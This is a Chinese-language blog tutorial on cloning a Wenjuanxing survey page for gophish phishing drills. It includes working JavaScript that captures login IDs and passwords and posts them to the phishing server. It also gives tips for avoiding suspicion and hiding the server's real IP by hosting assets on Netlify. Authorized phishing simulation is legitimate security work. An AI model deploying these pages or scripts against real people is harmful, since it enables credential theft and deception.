前言

大多数时候在对客户做钓鱼演练的时候,不仅需要复制客户指定的网站,还需要结合gophish来监测客户员工是否点击链接、是否输入数据等。

克隆网站很简单,但gophish要想保存数据,就必须满足form表单格式,因此一般情况下也需要对克隆的网站进行二次开发。

本次记录在克隆问卷星页面时的一些常规过程。

2023-04-24 第一版【已过时】

2023-06-29更新了第二版,更加简单方便,请移步查看。

页面保存修改

首先进入问卷星页面,按下Command + S保存页面,保存的目录结构如下

目录结构

使用python快速启动一个web服务,查看页面是否正常展示

python3 -m http.server 80

正常展示

展示没有问题,那么就是进行二次开发,满足gophish记录数据的要求(也就是整一个form表单)

查看源码

form

发现问卷星本身就自带了form表单,因此针对action进行修改即可,我们修改为./,然后再HTML代码最后增加如下js代码,让每次提交数据都提交到当前的URL中(不加的话可能就不会带?之类的东西了)

<!-- 加到最后 -->
<script>
  // 获取当前地址
  let currentUrl = window.location.href;

  // 将当前地址设置为表单的action属性
  document.getElementById("form1").action = currentUrl;
</script>

修改后刷新页面,填入数据,点击提交,可见是POST提交的数据,那就说明修改完成。

不需要关注状态码,只要是POST就行,因为python快速启动的web不支持POST方法。

POST

添加网站图标

正常情况下,网站默认从favicon.ico去获取网站图标,但我们是通过gophish,就不太好直接控制整个网站的结构了,所以可以用另一种方法:

<head>
  <link rel="icon" href="https://www.wjx.cn/favicon.ico" type="image/x-icon">
</head>

ico

部署公网

因为gophish只能填入HTML内容,而要想页面正常展示交互就必须加载静态资源(jscss、图片等),可以将静态资源部署到自己的服务器中,再让HTML远程拉取,但还是存在一些问题,如:

  1. 服务器可能带宽不够,导致网站访问速度很慢,一直加载不出来,容易起疑心。
  2. 如果要使用域名,在不使用反代的情况下,gophish就会占用80端口,这时候静态资源就只能托管到其他端口上,加载时就需要通过http://ip/xxx.js来加载,从而暴露真实IP。

因此我推荐使用https://www.netlify.com/,是一个静态资源托管平台,将改好的静态资源直接上传即可,而且速度快。

选择add site,然后手动上传文件夹即可,上传后点击Preview就可以预览,也就可以使用了。

preview

2023-06-29 第二版

页面保存

之前都是依赖浏览器的Command + S保存,这样html、js、css等都是单独保存的,而gophish则只支持单个HTML内容,因此就需要给js、css部署到其他地方来让HTML远程加载;

那有不有什么工具可以把整个网页的内容保存到单个HTML呢?答案是有的,使用浏览器插件SingleFile,通过该插件可以将一个完整的页面保存到单个 HTML 文件中

数据捕获

一些网站的不是严格的form表单结构,也就不能捕获到数据,但是要在原来的结构上改动成本太高,因此这里提供一种新的办法:用户点击提交按钮时,从想要获取数据的输入框中抓取数据,构造新的form表单,提交到gophish中,具体的js代码如下:

// 获取submit按钮元素
var submitBtn = document.getElementById("submit");

// 添加点击事件监听器
submitBtn.addEventListener("click", function(event) {
  event.preventDefault(); // 阻止表单默认的提交行为

  // 获取loginid和userpassword的值
  var loginidValue = document.getElementById("loginid").value;
  var userpasswordValue = document.getElementById("userpassword").value;

  // 创建一个新的form表单
  var form = document.createElement("form");
  form.method = "POST";
  form.action = location.href;

  // 创建input元素并设置值和name属性
  var loginidInput = document.createElement("input");
  loginidInput.type = "text";
  loginidInput.name = "loginid";
  loginidInput.value = loginidValue;

  var userpasswordInput = document.createElement("input");
  userpasswordInput.type = "password";
  userpasswordInput.name = "userpassword";
  userpasswordInput.value = userpasswordValue;

  // 将input元素添加到form表单中
  form.appendChild(loginidInput);
  form.appendChild(userpasswordInput);

  // 将form表单添加到页面中并提交
  document.body.appendChild(form);
  form.submit();
});
Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2023-06-29 15:34:25

results matching ""

    No results matching ""